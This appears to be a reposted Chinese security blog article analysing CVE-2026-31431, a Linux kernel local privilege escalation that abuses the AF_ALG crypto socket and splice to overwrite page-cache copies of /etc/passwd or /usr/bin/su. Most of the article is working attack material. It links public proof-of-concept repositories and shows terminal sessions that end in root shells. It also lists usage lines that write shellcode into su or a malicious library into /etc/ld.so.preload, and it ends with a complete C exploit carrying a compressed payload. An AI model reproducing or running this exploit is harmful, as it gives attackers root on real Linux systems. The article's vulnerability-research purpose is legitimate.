最新通杀全线Linux发行版的CVE漏洞解析

admin 2026-05-01 05:21:18 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档解析了CVE-2026-31431Linux内核逻辑漏洞,该漏洞通过AF_ALG状态机劫持结合splice系统调用实现本地提权,影响多数主流发行版。核心利用链涉及setsockopt反复切换加密状态、sendmsg注入控制消息篡改PageCache,成功覆盖/etc/passwd或敏感文件内存页。提供了Python与C语言两种POC实现,高级版本通过三阶段载荷提升稳定性,并给出漏洞缓解建议。 综合评分: 88 文章分类: 漏洞分析,漏洞POC,二进制安全,红队,应急响应


cover_image

最新通杀全线Linux发行版的CVE漏洞解析

原创

非虫 非虫

软件安全与逆向分析

2026年4月30日 21:26 湖北

在小说阅读器读本章

去阅读

最新通杀全线Linux发行版的CVE漏洞解析

昨天出了一个新洞:CVE-2026-31431,这个洞太猛了,号称不借助任何外部的工具,可以LPE揽权获取最高权限干翻现在多数的Linux发行版本。

今天我试了下Ubuntu22.04与Ubuntu24.04,在打完了最新的补丁的情况下,稳定的本地揽权成功!太强了,看看是什么原理。

背景

CVE-2026-31431 是一个典型的内核逻辑漏洞,影响范围涵盖了几乎所有主流 Linux 发行版。其核心问题在于 crypto/algif_aead.c 中的状态机处理不当:

  1. AF_ALG 滥用

    :通过 setsockopt 反复切换加密状态。

  2. Splice 零拷贝原语

    :利用 splice 系统调用将 /usr/bin/su 等敏感文件的 Page Cache 映射到加密流中。

  3. 状态机竞争

    :通过特定的 sendmsg 辅助消息(Control Message)在内核处理加密请求时强行插入新的密钥操作,导致内核在执行 zero-copy 传输时将受控的 Payload 错误地覆盖到原始文件的缓存页中。

公开的POC代码是python脚本。仓库地址是:https://github.com/rootsecdev/cve_2026_31431

原理分析

这个POC的核心功能是AF_ALG状态机劫持。AF_ALG 允许用户态程序通过 Socket 接口调用内核加密算法。为了提升性能,内核实现了 splice 接口,允许数据在两个文件描述符(如普通文件与加密 Socket)之间直接传输而无需拷贝。

漏洞的精妙之处在于:当内核认为它正在将数据读入加密引擎时,我们通过篡改 Socket 的状态机,让内核误以为当前操作已结束并进入“解密写回”阶段。此时,原本应被读取的 Page Cache 会被内核以“解密结果”的形式覆写。

比较有意思的是,我在自己的macOS上的虚拟机Ubuntu22.04的5.15 内核上测试失败了!

ubuntu@ubuntu:~/Downloads$ cd cve_2026_31431/
ubuntu@ubuntu:~/Downloads/cve_2026_31431$ python3
a.out                      exploit_cve_2026_31431.py  README.md
exp.c                      .git/                      test_cve_2026_31431.py
ubuntu@ubuntu:~/Downloads/cve_2026_31431$ python3 exploit_cve_2026_31431.py
[*] CVE-2026-31431 LPE  user=ubuntu  uid=1000
[*] /etc/passwd: ubuntu UID field at offset 1335 = '1000'
[*] Patching '1000' -> '0000'in page cache...
[*] Page cache now reads b'0000' at offset 1335
[*] getpwnam('ubuntu').pw_uid = 0

[+] /etc/passwd page cache now lists ubuntu as UID 0.
[+] Run:   su ubuntu
[+] Enter your own password. su will setuid(0) and drop a root shell.

[i] Cleanup after testing (from the root shell):
[i]   echo 3 > /proc/sys/vm/drop_caches
[i] /etc/passwd page cache evicted (POSIX_FADV_DONTNEED). UID->name lookups restored.
ubuntu@ubuntu:~/Downloads/cve_2026_31431$

这个版本的Exploit执行后会失败!然后发现网上有一个高级版本的POC代码。仓库地址是:https://github.com/Sndav/CVE-2026-31431-Advanced-Exploit

试了一下,干成功了!

ubuntu@ubuntu:~/Downloads/CVE-2026-31431-Advanced-Exploit$ python3 exploit.py
Usage:
  exploit.py escalate                        \u2014 patch /etc/passwd, set current user to uid=0
&nbsp; exploit.py write <file> <offset> <data> &nbsp; &nbsp;\u2014 arbitrary page-cache write

&nbsp; file &nbsp; &nbsp;\u2014 path to any readable file
&nbsp; offset &nbsp;\u2014 byte offset (decimal or 0x hex)
&nbsp; data &nbsp; &nbsp;\u2014 data to write (string, or @filename to&nbsp;read&nbsp;from file)

Examples:
&nbsp; exploit.py escalate
&nbsp; exploit.py write /usr/bin/su 0x1040 @shellcode.bin
&nbsp; exploit.py write /etc/ld.so.preload 0&nbsp;'/tmp/evil.so\n'
&nbsp; exploit.py write /usr/lib/libc.so.6 0x284a0&nbsp;'\x31\xc0\xc3\x90'
ubuntu@ubuntu:~/Downloads/CVE-2026-31431-Advanced-Exploit$ python3 exploit.py escalate
[*] CVE-2026-31431 \u2014 Copy Fail
[*] Mode: remove root password via /etc/passwd

[*] Backup: /tmp/.passwd.bak
[*] Before : root:x:0:0:root:/root:/bin/bash
[*] After &nbsp;: root::0:0:root :/root:/bin/bash
[*] Offset : 0

&nbsp; &nbsp; [0x000000] &nbsp;726f6f74 &nbsp;root
&nbsp; &nbsp; [0x000004] &nbsp;3a3a303a &nbsp;::0:
&nbsp; &nbsp; [0x000008] &nbsp;303a726f &nbsp;0:ro
&nbsp; &nbsp; [0x00000c] &nbsp;6f74203a &nbsp;ot :
&nbsp; &nbsp; [0x000010] &nbsp;2f726f6f &nbsp;/roo
&nbsp; &nbsp; [0x000014] &nbsp;743a2f62 &nbsp;t:/b
&nbsp; &nbsp; [0x000018] &nbsp;696e2f62 &nbsp;in/b
&nbsp; &nbsp; [0x00001c] &nbsp;6173680a &nbsp;ash.

[+] Success: root::0:0:root :/root:/bin/bash

[*] Recovery:&nbsp;echo&nbsp;3 > /proc/sys/vm/drop_caches
[*] Running: su root (no password needed)

root@ubuntu:/home/ubuntu/Downloads/CVE-2026-31431-Advanced-Exploit#

高级版 Exploit 引入了两个关键改进:

  • NULL 指针状态触发

    :通过 setsockopt(..., NULL, 4) 强行让内部句柄进入异常状态。

  • 三阶段辅助消息

    :在 sendmsg 中构造精密的辅助数据区(Control Data),模拟加密上下文。

| 阶段 | 目的 | | — | — | | 阶段 1 | 重置 AEAD 状态机,使其处于待处理状态 (Operation Type 3) | | 阶段 2 | 注入虚假状态,接管内核栈中的偏移量 (Operation Type 2) | | 阶段 3 | 锁定篡改路径,触发 Page Cache 覆写 (Operation Type 4) |

将状态注入与 splice 结合,完整的提权链路如下:

  1. 打开目标只读文件(如 /usr/bin/su)。
  2. 创建 AF_ALG 类型的 AEAD Socket。
  3. 通过 setsockopt 和 sendmsg 注入高级版 Exploit 的状态载荷。
  4. 利用 splice 将文件内容拉入管道,再从管道推入加密流。
  5. 由于状态机已被劫持,内核会将管道中的数据作为“解密结果”写回到文件的 Page Cache 中。
  6. 执行已在内存中被篡改的 su 进程。

从原理上可以看出,这个洞对于安卓系统来说没有什么影响,发行版本的安卓设备不会有su,自然也是没有影响的。

最后,我弄了一个C语言版本的,代码如下:

/**
&nbsp;* CVE-2026-31431 Universal Exploit (Advanced Version)
&nbsp;* Compile: cc exp.c -lz -o exp
&nbsp;*/

#define&nbsp;_GNU_SOURCE
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<fcntl.h>
#include<errno.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<sys/syscall.h>
#include<linux/if_alg.h>
#include<zlib.h>

#ifndef&nbsp;SPLICE_F_MOVE
#define&nbsp;SPLICE_F_MOVE 1
#endif

// 直接使用 syscall 避免不同发行版头文件差异
staticssize_tmy_splice(int&nbsp;fd_in,&nbsp;loff_t&nbsp;*off_in,&nbsp;int&nbsp;fd_out,
loff_t&nbsp;*off_out,&nbsp;size_t&nbsp;len,&nbsp;unsignedint&nbsp;flags)&nbsp;{
return&nbsp;syscall(__NR_splice, fd_in, off_in, fd_out, off_out, len, flags);
}

// 辅助函数:十六进制 Payload 转换
unsignedchar*&nbsp;hex_to_bytes(constchar* hex,&nbsp;size_t* out_len)&nbsp;{
size_t&nbsp;len =&nbsp;strlen(hex);
if&nbsp;(len %&nbsp;2&nbsp;!=&nbsp;0)&nbsp;returnNULL;
&nbsp; &nbsp; *out_len = len /&nbsp;2;
unsignedchar* bytes =&nbsp;malloc(*out_len);
for&nbsp;(size_t&nbsp;i =&nbsp;0; i < *out_len; i++) {
if&nbsp;(sscanf(hex +&nbsp;2*i,&nbsp;"%2hhx", &bytes[i]) !=&nbsp;1) {
free(bytes);
returnNULL;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
return&nbsp;bytes;
}

// 触发漏洞的核心函数
voidtrigger_exploit(int&nbsp;su_file_fd,&nbsp;int&nbsp;payload_offset,&nbsp;constunsignedchar* payload_chunk)&nbsp;{
int&nbsp;alg_socket = socket(AF_ALG, SOCK_SEQPACKET,&nbsp;0);
if&nbsp;(alg_socket <&nbsp;0)&nbsp;return;

structsockaddr_algsa&nbsp;=&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; .salg_family = AF_ALG,
&nbsp; &nbsp; &nbsp; &nbsp; .salg_type =&nbsp;"aead",
&nbsp; &nbsp; &nbsp; &nbsp; .salg_name =&nbsp;"authencesn(hmac(sha256),cbc(aes))"
&nbsp; &nbsp; };
if&nbsp;(bind(alg_socket, (struct&nbsp;sockaddr*)&sa,&nbsp;sizeof(sa)) <&nbsp;0) {
&nbsp; &nbsp; &nbsp; &nbsp; close(alg_socket);
return;
&nbsp; &nbsp; }

// 设置初始密钥
size_t&nbsp;key_len;
unsignedchar* key = hex_to_bytes("08000100000000100000000000000000000000000000000000000000000000000000000000000000", &key_len);
&nbsp; &nbsp; setsockopt(alg_socket, SOL_ALG, ALG_SET_KEY, key, key_len);
free(key);

&nbsp; &nbsp; syscall(__NR_setsockopt, alg_socket, SOL_ALG, ALG_SET_KEY,&nbsp;NULL,&nbsp;4);

int&nbsp;encrypted_stream = accept(alg_socket,&nbsp;NULL,&nbsp;NULL);
if&nbsp;(encrypted_stream <&nbsp;0) {
&nbsp; &nbsp; &nbsp; &nbsp; close(alg_socket);
return;
&nbsp; &nbsp; }

// 构造高级版 sendmsg 载荷
structmsghdrmsg&nbsp;=&nbsp;{0};
structioveciov;
unsignedchar&nbsp;msg_data[8];
memcpy(msg_data,&nbsp;"AAAA",&nbsp;4);
memcpy(msg_data +&nbsp;4, payload_chunk,&nbsp;4);
&nbsp; &nbsp; iov.iov_base = msg_data;
&nbsp; &nbsp; iov.iov_len =&nbsp;8;
&nbsp; &nbsp; msg.msg_iov = &iov;
&nbsp; &nbsp; msg.msg_iovlen =&nbsp;1;

// 分配足够的控制消息空间
char&nbsp;ctrl_buf[CMSG_SPACE(32) *&nbsp;3];
memset(ctrl_buf,&nbsp;0,&nbsp;sizeof(ctrl_buf));
&nbsp; &nbsp; msg.msg_control = ctrl_buf;
&nbsp; &nbsp; msg.msg_controllen =&nbsp;sizeof(ctrl_buf);

structcmsghdr&nbsp;*cmsg;

// 阶段 1: 重置状态机 (Type 3)
&nbsp; &nbsp; cmsg = CMSG_FIRSTHDR(&msg);
&nbsp; &nbsp; cmsg->cmsg_level = SOL_ALG;
&nbsp; &nbsp; cmsg->cmsg_type = ALG_SET_KEY;
&nbsp; &nbsp; cmsg->cmsg_len = CMSG_LEN(4);
&nbsp; &nbsp; ((int*)CMSG_DATA(cmsg))[0] =&nbsp;3;

// 阶段 2: 注入偏移量 (Type 2, 20 bytes)
&nbsp; &nbsp; cmsg = CMSG_NXTHDR(&msg, cmsg);
if&nbsp;(cmsg) {
&nbsp; &nbsp; &nbsp; &nbsp; cmsg->cmsg_level = SOL_ALG;
&nbsp; &nbsp; &nbsp; &nbsp; cmsg->cmsg_type = ALG_SET_KEY;
&nbsp; &nbsp; &nbsp; &nbsp; cmsg->cmsg_len = CMSG_LEN(20);
&nbsp; &nbsp; &nbsp; &nbsp; CMSG_DATA(cmsg)[0] =&nbsp;0x10;
&nbsp; &nbsp; &nbsp; &nbsp; ((int*)CMSG_DATA(cmsg))[0] =&nbsp;2;
&nbsp; &nbsp; }

// 阶段 3: 锁定路径 (Type 4)
&nbsp; &nbsp; cmsg = CMSG_NXTHDR(&msg, cmsg);
if&nbsp;(cmsg) {
&nbsp; &nbsp; &nbsp; &nbsp; cmsg->cmsg_level = SOL_ALG;
&nbsp; &nbsp; &nbsp; &nbsp; cmsg->cmsg_type = ALG_SET_KEY;
&nbsp; &nbsp; &nbsp; &nbsp; cmsg->cmsg_len = CMSG_LEN(4);
&nbsp; &nbsp; &nbsp; &nbsp; CMSG_DATA(cmsg)[0] =&nbsp;0x08;
&nbsp; &nbsp; &nbsp; &nbsp; ((int*)CMSG_DATA(cmsg))[0] =&nbsp;4;
&nbsp; &nbsp; }

&nbsp; &nbsp; sendmsg(encrypted_stream, &msg,&nbsp;0);

// Splice 零拷贝原语实现覆写
int&nbsp;pipefd[2];
if&nbsp;(pipe(pipefd) ==&nbsp;0) {
// 将 su 文件内容拉入管道
&nbsp; &nbsp; &nbsp; &nbsp; my_splice(su_file_fd,&nbsp;NULL, pipefd[1],&nbsp;NULL, payload_offset +&nbsp;4, SPLICE_F_MOVE);
// 将管道内容推入加密流,由于状态机被劫持,此处会覆写 Page Cache
&nbsp; &nbsp; &nbsp; &nbsp; my_splice(pipefd[0],&nbsp;NULL, encrypted_stream,&nbsp;NULL, payload_offset +&nbsp;4, SPLICE_F_MOVE);
&nbsp; &nbsp; &nbsp; &nbsp; close(pipefd[0]);
&nbsp; &nbsp; &nbsp; &nbsp; close(pipefd[1]);
&nbsp; &nbsp; }

// 修复点:不再使用大长度 recv,避免栈溢出
char&nbsp;dummy[64];
&nbsp; &nbsp; recv(encrypted_stream, dummy,&nbsp;sizeof(dummy), MSG_DONTWAIT);

&nbsp; &nbsp; close(encrypted_stream);
&nbsp; &nbsp; close(alg_socket);
}

intmain()&nbsp;{
constchar* su_path =&nbsp;"/usr/bin/su";
int&nbsp;fd = open(su_path, O_RDONLY);
if&nbsp;(fd <&nbsp;0) {
&nbsp; &nbsp; &nbsp; &nbsp; perror("[-] Failed to open su");
return1;
&nbsp; &nbsp; }

printf("[*] CVE-2026-31431 Advanced Exploit starting...\n");
printf("[*] Targeted: Ubuntu 22.04 (Kernel 5.15+)\n");

constchar* payload_hex =&nbsp;"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3";
size_t&nbsp;compressed_len;
unsignedchar* compressed = hex_to_bytes(payload_hex, &compressed_len);

&nbsp; &nbsp; uLongf payload_len =&nbsp;4096;&nbsp;// 增加解压缓冲区
unsignedchar* payload =&nbsp;malloc(payload_len);
if&nbsp;(uncompress(payload, &payload_len, compressed, compressed_len) != Z_OK) {
fprintf(stderr,&nbsp;"[-] Decompression failed\n");
return1;
&nbsp; &nbsp; }
free(compressed);

printf("[*] Triggering Page Cache corruption (len: %lu)...\n", payload_len);
for&nbsp;(size_t&nbsp;offset =&nbsp;0; offset < payload_len; offset +=&nbsp;4) {
&nbsp; &nbsp; &nbsp; &nbsp; trigger_exploit(fd, offset, payload + offset);
&nbsp; &nbsp; }

free(payload);
&nbsp; &nbsp; close(fd);

printf("[+] Exploit finished. Attempting to get root shell...\n");
&nbsp; &nbsp; execl(su_path,&nbsp;"su",&nbsp;NULL);
return0;
}

编译测试:

ubuntu@ubuntu:~/Downloads/CVE-2026-31431-Advanced-Exploit$ cc exp.c -l z
ubuntu@ubuntu:~/Downloads/CVE-2026-31431-Advanced-Exploit$ ./a.out
[*] CVE-2026-31431 Advanced Exploit starting...
[*] Targeted: Ubuntu 22.04 (Kernel 5.15+)
[*] Triggering Page Cache corruption (len: 160)...
[+] Exploit finished. Attempting to get root shell...
root@ubuntu:/home/ubuntu/Downloads/CVE-2026-31431-Advanced-Exploit#

希望本篇分析能为您的漏洞研究提供有价值的参考。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:软件安全与逆向分析 非虫 非虫《最新通杀全线Linux发行版的CVE漏洞解析》

评论:0   参与:  0